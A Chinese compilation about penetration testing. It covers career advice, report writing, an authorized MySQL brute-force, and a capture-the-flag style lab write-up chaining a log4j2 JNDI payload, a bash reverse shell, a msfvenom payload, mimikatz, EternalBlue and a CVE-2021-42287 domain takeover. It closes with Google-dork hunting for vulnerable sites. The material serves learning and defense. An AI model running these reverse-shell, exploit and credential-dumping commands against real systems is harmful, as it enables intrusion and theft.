刚学完java拿到一个安全方面的渗透测试的offer要不要干呢？感觉不如开发好呀
渗透测试跟一般的测试不是同一个概念。
渗透测试的流程
项目接手；
信息收集：whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息；
漏洞扫描：使用Nessus, AWVS等工具；
手动挖掘：逻辑漏洞；
验证漏洞；
提交修复建议；
输出报告：信息安全风险综合分析,包括整体风险分析，风险影响分析，系统安全分析，安全漏洞列表；
解决方案建议；
复测报告。
是向着网络安全工程师的方向发展的。
如何写好一份渗透测试报告
当你连续奋战了好几天，终于合上了笔记本，想要出去透透风时，一个熟悉的问句传来：“你好，请问什么时候可以交付报告？”
有成千上万的书籍讲解什么是信息安全，什么是渗透测试，也有数不清的培训课程视频。但是，我敢打赌，在这些材料中，只有不到10%是在讲写报告的事情。在一个完整的渗透测试过程中，有将近一半的时间都用在了编写报告上，这听起来很让人吃惊，但是也并不奇怪。
教会某人写报告不像教会某人制作一个完美的缓冲区溢出那么有意思，大部分的渗透测试人员情愿复习19次TCP数据包结构的工作原理，也不愿意写一份报告。
不管我们的渗透测试水平多么高，想要把一个很深的技术点解释的很通俗易懂，即使是完全不懂安全的人也可以理解，这是一件异常艰难的挑战。不但得学会简单明了的解释渗透测试的结果，还得控制好时间。这样做的好处很多，关系到客户会不会不断的采购你的服务。有一次，我开车到350英里以外的一家客户那里做售前，当面重新解释了渗透测试报告的本内容；如果能把测试报告写的简单明了，我就不用跑这么一趟，相当于节省了一整天的时间和一整箱汽油。
举个例子：
一个模糊不清的解释：“SSH版本应该被禁用，因为它含有高危漏洞，可能允许攻击者在网络上拦截和解密通信，虽然攻击者控制网络的风险很低，这减少了严重性。”
清楚的解释：“建议在这些设备上禁用SSH，如果不这样做，就有可能允许攻击者在当地网络解密和拦截通讯。”
为什么渗透测试报告如此重要？
请谨记：渗透测试是一个科学的过程，像所有科学流程一样，应该是独立可重复的。当客户不满意测试结果时，他有权要求另外一名测试人员进行复现。如果第一个测试人员没有在报告中详细说明是如何得出结论的话，第二个测试人员将会不知从何入手，得出的结论也极有可能不一样。更糟糕的是，可能会有潜在漏洞暴露于外部没有被发现。
举个例子：
模糊不清的描述：“我使用端口扫描器检测到了一个开放的TCP端口。“
清晰明了的描述：“我使用Nmap 5.50，对一段端口进行SYN扫描，发现了一个开放的TCP端口。
命令是：nmap –sS –p 7000-8000“
报告是实实在在的测试过程的输出，且是真实测试结果的证据。对客户高层管理人员（批准用于测试的资金的人）可能对报告的内容没有什么兴趣，但这份报告是他们唯一一份证明测试费用的证据。渗透测试不像其他类型的合同项目。合同结束了，没有搭建新的系统，也没有往应用程序添加新的代码。没有报告，很难向别人解释他们刚买的什么东西。
报告给谁看？
至少有三种类型的人会阅读你的报告：高级管理人员，IT管理和IT技术人员。
高级管理人员根本不关心，或者压根不明白它的意思，如果支付服务器使用SSL v2加密连接。他们想知道的答案是“我们现在到底安不安全？”
IT管理对该组织的整体安全性感兴趣，同时也希望确保其特定的部门在测试过程中都没有发现任何重大问题。我记得给三个IT经理一份特别详细的报告。阅读这份报告后有两个人脸色变得苍白，而第三个人笑着说“太好了，没有数据库的安全问题”。
IT人员是负责修复测试过程中发现的问题的人。他们想知道三件事：受影响系统的名称，该漏洞的严重程度以及如何解决它。他们也希望这些信息以一种清晰而且有组织的方式呈现给他们。最好的方法是将这些信息以资产和严重程度来进行划分。例如“服务器A”存在“漏洞X，Y和Z，漏洞Y是最关键的。这样IT人员就可以快速的找到问题的关键，及时修复。
当然,你可以问你的客户是否愿意对漏洞分组。毕竟测试是为了他们的利益，他们是付钱的人！一些客户喜欢有个详细说明每个漏洞的页面，并表明受漏洞影响的资产有哪些。
虽然我已经提到了渗透测试报告三种最常见的读者，但这并不是一个详尽的清单。一旦报告交付给客户，取决于他们用它干什么。它可能最终被提交给审计人员作为审计的证据。它可以通过销售团队呈现给潜在客户。“任何人都可以说自己的产品是安全的，但他们可以证明这一点？我们可以看看这里的渗透测试报告。“
报告甚至可能最终共享给整个组织。这听起来很疯狂，但它确实发生过。我执行一次社会工程学测试，其结果低于客户的期望。被触怒的CEO将报告传递给整个组织，作为提高防范社会工程攻击意识的一种方式。更有趣的是，几周后当我访问同一个公司做一些安全意识的培训。我在自我介绍时说，我就是之前那个负责社工测试的人。愤怒的目光，嘲讽的语气，埋怨我给他们所有人带来多少麻烦。我的内心毫无波动，答道：“把密码给我总比给真正的黑客好。”
报告应该包含什么？
有时候你会很幸运的看到，客户在项目计划之初就表明他们想要的报告内容。甚至有一些更为细小的要求，比如，字体大小和线间距等。但是这只是少数，大部分客户还是不知道最终要什么结果，所以下面给出一般报告的撰写程序。
封面
封面是报告的第一面窗户，封面页上包含的细节可以不那么明显。但是测试公司的名称、标志以及客户的名称应该突出显示。诸如“内部网络扫描”或“DMZ测试”测试标题也应该在那里，对于相同的客户执行多个测试时，可以避免混淆。测试时间也要写上，随着时间的推移，用户可以清楚的得知他们的安全状况是否得到了改善。另外该封面还应包含文档的密级，并与客户商定如何保密好这份商业上的敏感文件。
内容提要
我见过一些简直像短篇小说一样的内容提要，其实这部分一般要限制在一页纸以内。不要提及任何特定的工具、技术，因为客户根本不在乎，他们只需要知道的是你做了什么，发现了什么，接下来要发生什么，为什么，执行摘要的最后一行应该是一个结论，即明确指出是该系统是安全还是不安全。
举个例子：
一个糟糕的总结：“总之，我们发现一些地方的安全策略运作良好，但有些地方并未遵从。这导致了一定风险，但并不是致命风险。”
一个优秀的总结：“总之，我们发现了某些地方没有遵守安全策略，这给组织带来了一个风险，因此我们必须声明该系统是不安全的。”
漏洞总结
将漏洞列表放在一个页面上，这样，IT经理便可以一目了然的知道接下来要做什么。具体怎样表现出来，形式多样，你可以使用花哨的图形（像表格或图表），只要清晰明了就行。漏洞可以按类别（例如软件问题，网络设备配置，密码策略）进行分组，严重程度或CVSS评分——方法很多，只要工作做得好，很容易理解。
测试团队的详细信息
记录测试过程中所涉及的每一个测试人员的名字，这是一个基本的礼节问题，让客户知道是谁在测试他们的网络，并提供联系方式，以便后续报告中问题讨论。一些客户和测试公司也喜欢依据测试的内容向不同的测试小组分配任务。多一双眼睛，可以从不同的角度查看系统的问题。
工具列表
包括版本和功能的简要描述。这点会涉及到可重复性。如果有人要准确复现您的测试，他们需要确切地知道您使用的工具。
工作范围
事先已经同意，转载作为参考是有用的。
报告主体
这部分才是报告的精华，报告的正文应包括所有检测到的漏洞细节，如何发现漏洞，如何利用漏洞，以及漏洞利用的可能性。无论你做的是什么，都要保证给出一个清晰的解释。我看过无数份报告，都是简单的复制粘贴漏洞扫描的结果，这是不对的。另外报告中还应包括切实贴合的修复建议。
最终交付
在任何情况下任何一份报告应该加密传输。这虽然是常识，但往往大家就会摔倒在最后的这环上。
【网络安全】一次授权的渗透测试
前不久的一次授权测试中，感觉缺少任何一步都无法达到getshell的目的,单个漏洞看得话确实平平无奇，但是如果组合起来的话也许会有意想不到的化学效应。
拿到这个站的时候一眼就看见了会员登录界面,一开始想着注册，但是觉得会员功能应该很少，没验证码啥的，万一后台管理员也是会员呢那岂不是要是爆破出来了可以去后台尝试一波。
在一开始打开网站的时候，由于安装了谷歌插件sensinfor(t00ls上发现的)，可以初步探测网站的敏感目录，比如备份文件，phpmyadmin,phpinfo等等，在一开始就探测出存在phpinfo，获取了网站的绝对路径
常规用nmap探测下开放的端口，发现对外开放了3306端口，有绝对路径了，不抱希望的去爆破下3306吧，反正我是没爆破出几个3306的密码，用下超级弱口令检查工具,字典接着用鸭王的吧，谁知道是字典强大还是运气爆破，话说这个不算弱口令，只能说字典里有这个密码吧，只要字典存在的就是弱密码，没有错。
基于负责任的态度也发现了 一些其他的漏洞，不过相对来说危害性不大吧,但是如果在写测试报告的时候如果没得写也是可以写上的。
这个后台一般都有记录用户登录IP的习惯，但是如果记录IP的时候选取的是x-forward-for构造的IP,这样攻击者是可以伪造登录IP的,如果没有对IP的合法性进行校验，构造一个XSS payload触发存储型XSS这也不是没可能,在测试的时候就遇到过几次，后台记录会员登录IP的地方存在存储型XSS
不过这里美中不足的是后台对IP的合法性进行了校验，如果是不合法的IP会被重置为0.0.0.0
登录后发现管理员没办法对自己进行操作，这很尴尬,管理员都没办法更改自己的信息
很简单的办法随便找个可以进行更改的链接，更改url实现修改管理员信息,按照经验这种限制管理员更改自己信息的情况我遇到的很多都是前端限制了。
细看下来真的没啥技术含量，运气好爆破出来了，可以写log日志，但是也算是一环扣一环吧，如果不是一开始爆破出来了可能也没想着去爆破3306，如果没有绝对路径的话我也懒得去爆破3306，测试中运气也很重要呀，哈哈。
持续更新↓↓↓↓
【 网络安全学习资料·攻略 】
记一次log4j2引发的渗透测试
记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。
首先对web进行端口扫描，发现38080端口和22端口
访问一下38080端口发现是一个error page
用Wappalyzer看一下是什么架构，但是好像没有检测出来
拿着报错去百度上发现应该是springboot
索性用goby再去扫一下，应该是spring没错，但是没有漏洞是什么操作？联想到最近出的log4j2的洞，可能他只是一个日志文件所以并没有框架
使用 payload=${jndi:ldap://p9j8l8.dnslog.cn} 验证一下有回显证明存在漏洞
尝试进一步利用漏洞，首先起一个ldap服务，ip为本地接收shell的ip地址
pre class="616d-2b8b-d0dd-d6c8 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105/pre
抓包修改 Content-Type: appllication/x-www-form-urlencoded ，并执行以下payload成功回显
pre class="2b8b-d0dd-d6c8-976d md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"payload=${jndi: ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho }/pre
执行 ls -al / 看一下也成功
nc开启监听端口
然后使用bash命令反弹，这里需要先base64编码然后对编码后的特殊字符进行2层url转码
pre class="d0dd-d6c8-976d-2bc6 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bash -i /dev/tcp/192.168.1.105/9999 01/pre
抓包添加 payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符} ，即可得到反弹shell
进行信息搜集发现为docker环境，这里尝试了docker逃逸失败，那么继续进行信息搜集
在根目录下找到了第一个flag，这里有一个 got this ，在之前端口扫描的时候看到开放了22端口，尝试使用ssh直接连接
使用xshell尝试连接
连接成功，拿到了宿主机的权限
ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡
这里方便的话其实可以使用cs上线linux后用cs继续打，这里我就没有上线cs，使用linux的命令对10.0.1.0/24段探测存货主机
pre class="d6c8-976d-2bc6-e786 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;" for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 i Find the target; fi; done/pre
ping一下是存活的
使用毒液把流量代理出来，首先开启监听
pre class="3da4-84a2-99db-fea7 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"admin.exe -lport 7777/pre
然后上传agent_linux到靶机上
加权并执行
pre class="84a2-99db-fea7-249c md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777/pre
连接成功
这里本来准备用毒液的代理到msf打的，后面觉得比较麻烦，就直接用kali生成的elf马上线msf了
首先生成一个32位的elf马
pre class="99db-fea7-249c-37b7 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf shell.elf/pre
然后加权并执行
pre class="fea7-249c-37b7-8ffe md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 shell.elf
./shell/pre
kali使用 exploit/multi/handler 进行监听
获取到宿主机的shell
然后添加10.0.1.0/24段的路由
pre class="249c-37b7-8ffe-8670 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bg
route add 10.0.1.0 255.255.255.0 1
route print/pre
然后配置 proxychain4.conf 文件并使用socks模块
pre class="37b7-8ffe-8670-52e0 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"search socks
use auxiliary/sevrer/socks_proxy
run/pre
我们在之前已经知道了内网主机的ip，那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描
pre class="8ffe-8670-52e0-a902 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains4 nmap -sT -Pn 10.0.1.7/pre
发现有445端口，那么对445端口进一步扫描
先确定一下系统版本，使用 auxiliary/scanner/smb/smb_version 模块，发现是win7 sp1
看能不能利用永恒之蓝，这里使用到 auxiliary/scanner/smb/smb_ms17_010 模块，发现可以利用永恒之蓝
使用 exploit/windows/smb/ms17_010_eternalbule 模块，因为是不出网环境，这里需要用到 bind_tcp 载荷
run之后拿到一个system权限的meterpreter
在 C:\Users\root\Desktop 下拿到第二个flag
然后继续进行信息搜集，发现同样是双网卡，还存在10.0.0.0/24段的一张网卡
ipconfig /all看到dns服务器为 redteam.lab 应该在域内
这里ping一下 redteam.lab 得到域控的ip为10.0.0.12
这里不知道域控有什么洞，先上传一个mimikatz把密码抓取出来，得到 Administrator/Admin12345 ，这里其实就可以使用域管账户ipc直接连接，但是这里抓到了一个域用户，尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击，关于漏洞的原理请 移步
pre class="8670-52e0-a902-bb94 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"privilege::debug
sekurlsa::logonpasswords/pre
这里我准备使用noPac.exe直接去获取一个shell的，但是这里noPac.exe的利用条件是需要主机上有.net4.0环境，所以这里没有回显
本来准备一步一步的用原始的方法打的，但是powershell用不了没有回显，就写一下原始利用的步骤吧
这里直接使用 sam_the_admin.py 进行攻击
pre class="52e0-a902-bb94-616d md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell/pre
即可拿到DC的shell
在 C:\Users\Administrator\Desktop 下找到最后一个flag
一个完整的渗透测试流程，分为那几块，每一块有哪些内容
包含以下几个流程：
信息收集
第一步做的就是信息收集，根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。
漏洞探测
当我们收集到了足够多的信息之后，我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞，比如：SQL注入 。
漏洞利用
探测到了该网站存在漏洞之后，就要对该漏洞进行利用了。不同的漏洞有不同的利用工具，很多时候，通过一个漏洞我们很难拿到网站的webshell，我们往往需要结合几个漏洞来拿webshell。
内网渗透
当我们能跟内网主机进行通信后，我们就要开始进行内网渗透了。可以先使用nmap对内网主机进行扫描，探测在线的主机，并且探测其使用的操作系统、开放的端口等信息。
内网中也有可能存在供内网使用的内网服务器，可以进一步渗透拿下其权限。
痕迹清除
达到了目的之后，有时候只是为了黑入网站挂黑页，炫耀一下；或者在网站留下一个后门，作为肉鸡，没事的时候上去溜达溜达；亦或者挂入挖矿木马。
撰写渗透测试保告
在完成了渗透测试之后，就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞，以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险，防止被黑客攻击。
一个完整挖洞/src漏洞实战流程【渗透测试】
只要搞渗透，不就会听到很多行业内人前辈一直在重复:“信息搜集” 信息搜集有多重要，你搜集的到的多少资产信息，决定了你后续进行的一系列实战到什么程度!
要说SQL注入的漏洞咋找，逻辑漏洞咋找，支付漏洞咋找，越权漏洞咋找，等等
实这都一个道理，用谷歌语法，找通杀用fofa,这里演示几个类型的漏洞，其它的也是一个道理。
第一个: SQL注入漏洞
AS:首先是SQL注入的，这个漏洞说实话，基本就是谷歌语法找的快,
语法: inurl:asp?id=23公司，这时候你会问:不是inurl:asp?id= 就行了吗，当然!
这可以!如果你想找到一些奇奇怪怪的站可以用这个，比如:
这时候明白接公司的重要性了吧，这里找的是asp的站，为啥找asp的站?
其中一一个最重要的原因就是因为他，好挖!
当然这里只是找了一小部分站点的， 如果突然发现重复了咋办?
这个简单，换个id就行了同学!
inurl:asp?id-34公司，这里的id 值不断的变变变就行了，你们也可以对比一下
这是不是就不一样了，当然如果有兴趣的话，也可以搜搜inurl :php?id=12公司
这也是可以找到很多站的，不过加WAF的几率很大
我找了10个9个都加过,所以说要想上分上的快，asp 的站绝对不能落下!
这里我就不多叙述，因为这站好找，真的特别好找，但是要想能弱密码进去的却很少
直接上镜像站一放inurl:什么牛鬼蛇神都出来了，这后台管理的站可以说是非常多了
当然如果不想找到国外其它奇奇怪怪的站点的话，建议加个关键词公司
可以看到这里一堆后台,当然要渗透这些后台弱密码很少能进去了
你看到我打inur1: 它自动给我补齐关键词了吗，说明这玩意很多人挖
一般搞后台，先信息收集,这个等会说，反正我是没搞到过几个
这种漏洞咋找?商城，积分商城。
试试谷歌语法: info:商城AND积分商城
这不全是商城吗，当然对于一些大厂， 建议不要去搞
因为防护也会比一般的站点比较严格,况且现在做在线网上商城的站点也很少了
其实可以在漏洞挖掘的时候注意一下站点是否有paypal这个功能，有的话，可以搞一搞的，这还是有搞头的
再来就是逻辑漏洞，比如说平行，垂直越权，任意密码重置啊什么的。这类漏洞还是很多的，大家也可以去慢慢测的!
最后一个,通杀的漏洞咋找?
这时候就是要靠我们万能的fofaQ了，首先我们要知道有哪些cms有漏洞
这里大家可以去找网上的漏洞库,里面- -般都会有漏洞合集和这里我稍后会给大家推荐一两个
看到没有，就是这么多cms，杀一个准，上分必备漏洞
不过有些重复提交了，可以给你们看看学员们的战果!
当然，重复了几个，但还是相当不错了。
看完开头,相信你已经知道怎么找漏洞了，那我们就说说漏洞如何挖掘，这里分事件型和通用型漏洞
首先来的，肯定是我们的sq1注入了，首先使用我们的通用语法inurl:asp?id=xx 公司
直接点进去，不要害怕，只要不违法，咱不干坏事就行
看到报错了,说明啥，说明可能存在注入啊朋友,直接and 1=1 |and 1=2插进去
经过一番寻找,我们来到了这个网站:
看到网站直接插单引号，看他报不报错
看到效果十分明显，这种情况直接丢sqlmap9 ,反正我是丢的sqlmap ， 大家如果时间充足的话可以上手
下一个站,这个站存在的漏洞是任意密码重置和CSRF漏洞
首先是CSRF漏洞，相信不用我说你们也应该会了，这里就是这点出现漏洞
你们可以自己去测测，这里说我主要说的是任意密码重置漏洞
（这个漏洞现在也已经被修复了)
在这一步的时候， 抓个包
这里再改成自己的邮箱，这样自己的邮箱就能接收到验证链接，直接点击就好
看到这里，支付漏洞 和验证码绕过之类的逻辑漏洞是不是感觉+分的好挖，有没有这种感觉!
这里类型比较多，篇幅太长不好阅读。举例这两种做参考~
三、提交报告
例如baidu.com发现了SQL注入
第一步:“标题”和“厂商信息”和“所属域名”
站长工具icp.chinaz.com/baidu.co...
查询域名备案信息，看到这个公司名了吗
这样写
漏洞类别啥的，如果不是0day的话，像图中一样就行了
所属域名要写该公司的“网站首页”或者“官网”
看到这个了吗
漏洞类型: -般都是Web漏洞，然后漏洞是什么写什么，这里是一个SQL注入。
漏洞等级: SQL注入-般都是高危，但如果厂商比较小的话，会降级，降成中危。
漏洞简述:描述一下SQL注入是什么、 有什么危害之类的。
漏洞url:出现漏洞的URL。
影响参数:哪个参数可以注入就写哪个
漏洞POC请求包: Burp抓个包复制粘贴。
如果你嫌每次打字麻烦，可以新建一个记事本， 把框架写好,提交的时候替换一些内容就可以了。
把标题、漏洞简述、复现步骤、修复方案，把标题、漏洞简述、复现步骤、修复方案，可以省不少时间!
今天的内容虽然偏长，但是都是干货呀!从找漏洞到提交直接一步到位! 安排的明明白白!
注:任何未经授权的渗透都是违法行为，咱们挖SRC,担心会违法，记住一点， 点到为止，不要动里面的数据，发现漏洞之后，尽快提交漏洞，联系厂商进行修复。
0条大神的评论